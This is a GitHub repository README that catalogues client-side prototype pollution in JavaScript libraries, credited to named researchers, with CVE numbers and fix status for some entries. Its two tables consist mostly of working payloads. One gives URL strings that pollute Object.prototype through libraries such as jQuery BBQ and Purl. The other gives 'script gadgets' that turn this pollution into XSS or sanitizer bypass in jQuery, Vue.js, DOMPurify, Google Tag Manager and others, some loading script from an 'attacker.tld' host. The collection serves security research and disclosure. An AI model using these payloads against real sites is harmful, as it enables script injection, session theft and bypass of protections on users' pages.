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https://github.com/BlackFan/client-side-prototype-pollution

Prototype Pollution and useful Script Gadgets
https://github.com/BlackFan/client-side-prototype-pollution
Last synced: 11 days ago
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Prototype Pollution and useful Script Gadgets
Host: GitHub
URL: https://github.com/BlackFan/client-side-prototype-pollution
Owner: BlackFan
Created: 2020-09-29T12:52:28.000Z (about 4 years ago)
Default Branch: master
Last Pushed: 2024-01-27T12:22:39.000Z (10 months ago)
Last Synced: 2024-10-21T11:26:02.638Z (23 days ago)
Homepage:
Size: 81.1 KB
Stars: 1,395
Watchers: 42
Forks: 199
Open Issues: 0
Metadata Files:
- Readme: README.md
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README

        # Client-Side Prototype Pollution

## Intro

If you are unfamiliar with Prototype Pollution Attack, you should read the following first:  

[JavaScript prototype pollution attack in NodeJS](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) by Olivier Arteau  

[Prototype pollution – and bypassing client-side HTML sanitizers](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) by Michał Bentkowski

In this repository, I am trying to collect examples of libraries that are vulnerable to Prototype Pollution due to `document.location` parsing and useful script gadgets that can be used to demonstrate the impact.

## Prototype Pollution

| Name                                                                       | Payload                                                                  | Refs                                        | Found by                                         |

|----------------------------------------------------------------------------|--------------------------------------------------------------------------|---------------------------------------------|--------------------------------------------------|

| Wistia Embedded Video (**Fixed**)                                          | `?__proto__[test]=test`
`?__proto__.test=test`                        | [[1]](https://hackerone.com/reports/986386) | [William Bowling](https://twitter.com/wcbowling) |

| [jQuery query-object plugin](/pp/jquery-query-object.md)
CVE-2021-20083 | `?__proto__[test]=test`
`#__proto__[test]=test`                       |                                             | [Sergey Bobrov](https://twitter.com/Black2Fan)   |

| [jQuery Sparkle](/pp/jquery-sparkle.md)
CVE-2021-20084                  | `?__proto__.test=test`
`?constructor.prototype.test=test`             |                                             | [Sergey Bobrov](https://twitter.com/Black2Fan)   |

| [V4Fire Core Library](/pp/v4fire-core.md)                                  | `?__proto__.test=test`
`?__proto__[test]=test`
`?__proto__[test]={"json":"value"}`|                              | [Sergey Bobrov](https://twitter.com/Black2Fan)   |

| [backbone-query-parameters](/pp/backbone-qp.md)
CVE-2021-20085          | `?__proto__.test=test`
`?constructor.prototype.test=test`
`?__proto__.array=1\|2\|3`| [[1]](https://bugcrowd.com/disclosures/57b28008-4653-4dec-88c3-4d38e40023ff/toolbox-teslamotors-com-html-injection-via-prototype-pollution-potential-xss) | [Sergey Bobrov](https://twitter.com/Black2Fan)   |

| [jQuery BBQ](/pp/jquery-bbq.md)
CVE-2021-20086                          | `?__proto__[test]=test`
`?constructor[prototype][test]=test`          |                                             | [Sergey Bobrov](https://twitter.com/Black2Fan)   |

| [jquery-deparam](/pp/jquery-deparam.md)
CVE-2021-20087                  | `?__proto__[test]=test`
`?constructor[prototype][test]=test`          |                                             | [Sergey Bobrov](https://twitter.com/Black2Fan)   |

| [MooTools More](/pp/mootools-more.md)
CVE-2021-20088                    | `?__proto__[test]=test`
`?constructor[prototype][test]=test`          |                                             | [Sergey Bobrov](https://twitter.com/Black2Fan)   |

| [Swiftype Site Search](/pp/swiftype-site-search.md) (**Fixed**)            | `#__proto__[test]=test`                                                  | [[1]](https://hackerone.com/reports/998398) | [s1r1us](https://twitter.com/S1r1u5_)            |

| [CanJS deparam](/pp/canjs-deparam.md)                                      | `?__proto__[test]=test`
`?constructor[prototype][test]=test`          |                                             | [Rahul Maini](https://twitter.com/iamnoooob)     |

| [Purl (jQuery-URL-Parser)](/pp/purl.md)
CVE-2021-20089                  | `?__proto__[test]=test`
`?constructor[prototype][test]=test`
`#__proto__[test]=test`|                            | [Sergey Bobrov](https://twitter.com/Black2Fan)   |

| [HubSpot Tracking Code](/pp/hubspot.md) (**Fixed**)                        | `?__proto__[test]=test`
`?constructor[prototype][test]=test`
`#__proto__[test]=test`|                            | [Sergey Bobrov](https://twitter.com/Black2Fan)   |

| [YUI 3 querystring-parse](/pp/yui3.md)                                     | `?constructor[prototype][test]=test`                                     |                                             | [Sergey Bobrov](https://twitter.com/Black2Fan)   |

| [Mutiny](/pp/mutiny.md) (**Fixed**)                                        | `?__proto__.test=test`                                                   |                                             | [SPQR](https://twitter.com/amlnspqr)             |

| [jQuery parseParams](/pp/jquery-parseparam.md)                             | `?__proto__.test=test`
`?constructor.prototype.test=test`             |                                             | [POSIX](https://twitter.com/po6ix)               |

| [php.js parse_str](/pp/parse_str.md)                                       | `?__proto__[test]=test`
`?constructor[prototype][test]=test`          |                                             | [POSIX](https://twitter.com/po6ix)               |

| [arg.js](/pp/arg-js.md)                                                    | `?__proto__[test]=test`
`?__proto__.test=test`
`?constructor[prototype][test]=test`
`#__proto__[test]=test`|  | [POSIX](https://twitter.com/po6ix)               |

| [davis.js](/pp/davis-js.md)                                                | `?__proto__[test]=test`                                                  |                                             | [POSIX](https://twitter.com/po6ix)               |

| [Component querystring](/pp/component_querystring.md)                      | `?__proto__[NUMBER]=test`
`?__proto__[123]=test`                      |                                             | [Masato Kinugawa](https://twitter.com/kinugawamasato)|

| [Aurelia path](/pp/aurelia.md)                                             | `?__proto__[test]=test`                                                  | [[1]](https://github.com/aurelia/path/issues/44) | [s1r1us](https://twitter.com/S1r1u5_)            |

| [analytics-utils < 1.0.3](/pp/analytics-utils.md)                          | `?__proto__[test]=test`
`?constructor[prototype][test]=test`          | [[1]](https://github.com/DavidWells/analytics/issues/204) | [alexdaviestray](https://github.com/alexdaviestray) |

## Script Gadgets

| Name                                                    | Payload                                                                       | Impact            | Refs                                              | Found by                                            |

|---------------------------------------------------------|-------------------------------------------------------------------------------|-------------------|---------------------------------------------------|-----------------------------------------------------|

| [Wistia Embedded Video](/gadgets/wistia-video.md)       | `?__proto__[innerHTML]=`                          | XSS               | [[1]](https://hackerone.com/reports/986386)       | [William Bowling](https://twitter.com/wcbowling)    |

| [jQuery $.get](/gadgets/jquery.md#get-jquery-all-versions) | `?__proto__[context]=`
`&__proto__[jquery]=x`| XSS              |                                                   | [Sergey Bobrov](https://twitter.com/Black2Fan)      |

| [jQuery $.get >= 3.0.0](/gadgets/jquery.md#get-jquery--300)
Boolean.prototype | `?__proto__[url][]=data:,alert(1)//`
`&__proto__[dataType]=script`  | XSS               |                                 | [Michał Bentkowski](https://twitter.com/SecurityMB) |

| [jQuery $.get >= 3.0.0](/gadgets/jquery.md#get-jquery--300-1)
Boolean.prototype | `?__proto__[url]=data:,alert(1)//`
`&__proto__[dataType]=script`
`&__proto__[crossDomain]=`| XSS |                   | [Sergey Bobrov](https://twitter.com/Black2Fan)      |

| [jQuery $.getScript >= 3.4.0](/gadgets/jquery.md#getscript-jquery--340) | `?__proto__[src][]=data:,alert(1)//`                          | XSS               |                                                   | [s1r1us](https://twitter.com/S1r1u5_)               |

| [jQuery $.getScript 3.0.0 - 3.3.1](/gadgets/jquery.md#getscript-jquery-300---331)
Boolean.prototype | `?__proto__[url]=data:,alert(1)//`                  | XSS               |                              | [s1r1us](https://twitter.com/S1r1u5_)               |

| [jQuery $(html)](/gadgets/jquery.md#html-jquery-all-versions)  | `?__proto__[div][0]=1`
`&__proto__[div][1]=`| XSS    |                                                          | [Sergey Bobrov](https://twitter.com/Black2Fan)      |

| [jQuery $(x).off](/gadgets/jquery.md#xoff-jquery-all-versions)
String.prototype | `?__proto__[preventDefault]=x`
`&__proto__[handleObj]=x`
`&__proto__[delegateTarget]=`| XSS    |             | [Sergey Bobrov](https://twitter.com/Black2Fan)      |

| [jQuery $(x).attr](/gadgets/jquery.md#xattr-jquery--180) | `?__proto__[OnError]=alert(1)`
`&__proto__[SRC]=fakeimagewontload.jpg`    | XSS               | [[1]](https://joaxcar.com/blog/2024/01/26/hunting-for-prototype-pollution-gadgets-in-jquery-intigriti-0124-challenge/) [[2]](https://mizu.re/post/intigriti-january-2024-xss-challenge)                                                  | [Johan Carlsson](https://twitter.com/joaxcar)      |

| [jQuery $(x).on, $(x).submit](/gadgets/jquery.md#xon-xsubmit-jquery--190) | `?__proto__[handler][]=x`
`&__proto__[selector][]=`
`&__proto__[focus]=x`
`&__proto__[needsContext]=x`    | XSS               | [[1]](https://joaxcar.com/blog/2024/01/26/hunting-for-prototype-pollution-gadgets-in-jquery-intigriti-0124-challenge/)                                                  | [Johan Carlsson](https://twitter.com/joaxcar)      |

| [Google reCAPTCHA](/gadgets/recaptcha.md)               | `?__proto__[srcdoc][]=alert(1)`                              | XSS               |                                                   | [s1r1us](https://twitter.com/S1r1u5_)               |

| [Twitter Universal Website Tag](/gadgets/twitter-uwt.md) (**Fixed**)| `?__proto__[hif][]=javascript:alert(1)`                                       | XSS               |                                                   | [Sergey Bobrov](https://twitter.com/Black2Fan)      |

| [Tealium Universal Tag](/gadgets/tealium-utag.md)       | `?__proto__[attrs][src]=1`
`&__proto__[src]=data:,alert(1)//`              | XSS               |                                                   | [Sergey Bobrov](https://twitter.com/Black2Fan)      |

| [Akamai Boomerang](/gadgets/akamai-boomerang.md)        | `?__proto__[BOOMR]=1`
`&__proto__[url]=//attacker.tld/js.js`               | XSS               |                                                   | [s1r1us](https://twitter.com/S1r1u5_)               |

| [Lodash <= 4.17.15](/gadgets/lodash.md)                 | `?__proto__[sourceURL]=%E2%80%A8%E2%80%A9alert(1)`                            | XSS               | [[1]](https://github.com/lodash/lodash/pull/4518) | [Alex Brasetvik](https://twitter.com/alexbrasetvik) |

| [sanitize-html](/gadgets/sanitize-html.md)              | `?__proto__[*][]=onload`                                                      | Bypass            | [[1]](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) | [Michał Bentkowski](https://twitter.com/SecurityMB) |

| [sanitize-html](/gadgets/sanitize-html.md)              | `?__proto__[innerText]=alert(1)`                             | Bypass            | [[1]](https://github.com/apostrophecms/sanitize-html/commit/0fe551c2c6fac1277c0b9688263bd61acc52baf8)| [Hpdoger](https://twitter.com/hpdoger)              |

| [js-xss](/gadgets/js-xss.md)                            | `?__proto__[whiteList][img][0]=onerror`
`&__proto__[whiteList][img][1]=src`| Bypass            | [[1]](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) | [Michał Bentkowski](https://twitter.com/SecurityMB) |

| [DOMPurify <= 2.0.12](/gadgets/dompurify.md)            | `?__proto__[ALLOWED_ATTR][0]=onerror`
`&__proto__[ALLOWED_ATTR][1]=src`    | Bypass            | [[1]](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) | [Michał Bentkowski](https://twitter.com/SecurityMB) |

| [DOMPurify <= 2.0.12](/gadgets/dompurify.md)            | `?__proto__[documentMode]=9`                                                  | Bypass            | [[1]](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) | [Michał Bentkowski](https://twitter.com/SecurityMB) |

| [Google Closure](/gadgets/closure.md)                          | `?__proto__[*%20ONERROR]=1`
`&__proto__[*%20SRC]=1`                        | Bypass            | [[1]](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) | [Michał Bentkowski](https://twitter.com/SecurityMB) |

| [Google Closure](/gadgets/closure.md)                          | `?__proto__[CLOSURE_BASE_PATH]=data:,alert(1)//`                              | XSS               | [[1]](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) | [Michał Bentkowski](https://twitter.com/SecurityMB) |

| [Marionette.js / Backbone.js](/gadgets/marionette.md)   | `?__proto__[tagName]=img`
`&__proto__[src][]=x:`
`&__proto__[onerror][]=alert(1)` | XSS     |                                                   | [Sergey Bobrov](https://twitter.com/Black2Fan)      |

| [Adobe Dynamic Tag Management](/gadgets/adobe-dtm.md)   | `?__proto__[src]=data:,alert(1)//`                                            | XSS               |                                                   | [Sergey Bobrov](https://twitter.com/Black2Fan)      |

| [Adobe Dynamic Tag Management](/gadgets/adobe-dtm.md)   | `?__proto__[SRC]=`                                | XSS               |                                                   | [Sergey Bobrov](https://twitter.com/Black2Fan)      |

| [Swiftype Site Search](/gadgets/swiftype-site-search.md)| `?__proto__[xxx]=alert(1)`                                                    | XSS               |                                                   | [s1r1us](https://twitter.com/S1r1u5_)               |

| [Embedly Cards](/gadgets/embedly.md)                    | `?__proto__[onload]=alert(1)`                                                 | XSS               |                                                   | [Guilherme Keerok](https://twitter.com/k33r0k)      |

| [Segment Analytics.js](/gadgets/segment-analytics.md)   | `?__proto__[script][0]=1`
`&__proto__[script][1]=`| XSS            |                                                   | [Sergey Bobrov](https://twitter.com/Black2Fan)      |

| [Knockout.js](/gadgets/knockout.md)
Array.prototype  | `?__proto__[4]=a':1,[alert(1)]:1,'b`
`&__proto__[5]=,`                     | XSS               |                                                   | [Michał Bentkowski](https://twitter.com/SecurityMB) |

| [Zepto.js](/gadgets/zepto.md)                           | `?__proto__[onerror]=alert(1)`                                                | XSS               | [[1]](https://xz.aliyun.com/t/8552)               | [lih3iu](https://twitter.com/lih3iu)                |

| [Zepto.js](/gadgets/zepto.md)                           | `?__proto__[html]=`                               | XSS               |                                                   | [Sergey Bobrov](https://twitter.com/Black2Fan)      |

| [Sprint.js](/gadgets/sprint.md)                         | `?__proto__[div][intro]=`                     | XSS               | [[1]](https://xz.aliyun.com/t/8552)               | [lih3iu](https://twitter.com/lih3iu)                |

| [Vue.js](/gadgets/vuejs.md)                             | `?__proto__[v-if]=_c.constructor('alert(1)')()`                               | XSS               |                                                   | [POSIX](https://twitter.com/po6ix)                |

| [Vue.js](/gadgets/vuejs.md)                             | `?__proto__[attrs][0][name]=src`
`&__proto__[attrs][0][value]=xxx`
`&__proto__[xxx]=data:,alert(1)//`
`&__proto__[is]=script`  | XSS | [[1]](https://blog.s1r1us.ninja/CTF/zer0ptsctf2021-challenges) | [s1r1us](https://twitter.com/S1r1u5_)               |

| [Vue.js](/gadgets/vuejs.md)                             | `?__proto__[v-bind:class]=''.constructor.constructor('alert(1)')()`           | XSS               | [[1]](https://blog.s1r1us.ninja/CTF/zer0ptsctf2021-challenges) | [r00timentary](https://ctftime.org/team/32783) |

| [Vue.js](/gadgets/vuejs.md)                             | `?__proto__[data]=a`
`&__proto__[template][nodeType]=a`
`&__proto__[template][innerHTML]=alert(1)`  | XSS | [[1]](https://blog.s1r1us.ninja/CTF/zer0ptsctf2021-challenges) | [SuperGuesser](https://twitter.com/SuperGuesser)               |

| [Vue.js](/gadgets/vuejs.md)                             | `?__proto__[props][][value]=a`
`&__proto__[name]=":''.constructor.constructor('alert(1)')(),"`  | XSS | [[1]](https://blog.s1r1us.ninja/CTF/zer0ptsctf2021-challenges) | [st98_](https://twitter.com/st98_)               |

| [Vue.js](/gadgets/vuejs.md)                             | `?__proto__[template]=alert(1)`  | XSS | [[1]](https://github.com/aszx87410/ctf-writeups/issues/24) | [huli](https://github.com/aszx87410/)               |

| [Demandbase Tag](/gadgets/demandbase-tag.md)            | `?__proto__[Config][SiteOptimization][enabled]=1`
`&__proto__[Config][SiteOptimization][recommendationApiURL]=//attacker.tld/json_cors.php?`  | XSS |  | [SPQR](https://twitter.com/amlnspqr) |

| [@analytics/google-tag-manager](/gadgets/analytics-google-tag-manager.md) | `?__proto__[customScriptSrc]=//attacker.tld/xss.js`                                                                            | XSS |  | [SPQR](https://twitter.com/amlnspqr) |

| [i18next](/gadgets/i18next.md) | `?__proto__[lng]=cimode`
`&__proto__[appendNamespaceToCIMode]=x`
`&__proto__[nsSeparator]=`                                      | Potential XSS |  | [Sergey Bobrov](https://twitter.com/Black2Fan)      |

| [i18next < 19.8.5](/gadgets/i18next.md) | `?__proto__[lng]=a`
`&__proto__[a]=b`
`&__proto__[obj]=c`
`&__proto__[k]=d`
`&__proto__[d]=`                      | Potential XSS |  | [Sergey Bobrov](https://twitter.com/Black2Fan)      |

| [i18next >= 19.8.5](/gadgets/i18next.md) | `?__proto__[lng]=a`
`&__proto__[key]=`                                                                                    | Potential XSS |  | [Sergey Bobrov](https://twitter.com/Black2Fan)      |

| [Google Analytics](/gadgets/google-analytics.md)        | `?__proto__[cookieName]=COOKIE%3DInjection%3B`                                                                                            | Cookie Injection | | [Sergey Bobrov](https://twitter.com/Black2Fan)    |

| [Popper.js](/gadgets/popper.md) | `?__proto__[arrow][style]=color:red;transition:all%201s`
`&__proto__[arrow][ontransitionend]=alert(1)`

`?__proto__[reference][style]=color:red;transition:all%201s`
`&__proto__[reference][ontransitionend]=alert(2)`

`?__proto__[popper][style]=color:red;transition:all%201s`
`&__proto__[popper][ontransitionend]=alert(3)` | XSS | [[1]](https://github.com/aszx87410/ctf-writeups/issues/36) [[2]](https://lemonslab.me/posts/small-talk-writeup/) | [Matheus Vrech](https://twitter.com/vrechson) |

| [Pendo Agent](/gadgets/pendo-agent.md)                  | `?__proto__[dataHost]=attacker.tld/js.js%23`                                  | XSS               |                                                   | [Renwa](https://twitter.com/RenwaX23) |

| [script.aculo.us](/gadgets/scriptaculous.md)
String.constructor            | `?x=x`
`&x[constructor][__parseStyleElement][innerHTML]=`                            | XSS |           | [Sergey Bobrov](https://twitter.com/Black2Fan) |

| [hCaptcha](/gadgets/hcaptcha.md) (**Fixed**)           | `?__proto__[assethost]=javascript:alert(1)//`                                 | XSS               |                                       | [Masato Kinugawa](https://twitter.com/kinugawamasato) |

| [Google Closure](/gadgets/closure.md)                   | `?__proto__[trustedTypes]=x`
`&__proto__[emptyHTML]=`| XSS               |                                       | [Mathias Karlsson](https://twitter.com/avlidienbrunn) |

| [Google Tag Manager](/gadgets/google-tag-manager.md)    | `?__proto__[vtp_enableRecaptcha]=1`
`&__proto__[srcdoc]=alert(1)`| XSS              |                                       | [terjanq](https://twitter.com/terjanq) |

| [Google Tag Manager](/gadgets/google-tag-manager.md)    | `?__proto__[q][0][0]=require`
`&__proto__[q][0][1]=x`
`&__proto__[q][0][2]=https://www.google-analytics.com/gtm/js%3Fid%3DGTM-WXTDWH7`| XSS | | [Sergey Bobrov](https://twitter.com/Black2Fan) /
[Masato Kinugawa](https://twitter.com/kinugawamasato) |

| [Google Analytics](/gadgets/google-analytics.md)        | `?__proto__[q][0][0]=require`
`&__proto__[q][0][1]=x`
`&__proto__[q][0][2]=https://www.google-analytics.com/gtm/js%3Fid%3DGTM-WXTDWH7`| XSS | | [Sergey Bobrov](https://twitter.com/Black2Fan) /
[Masato Kinugawa](https://twitter.com/kinugawamasato) |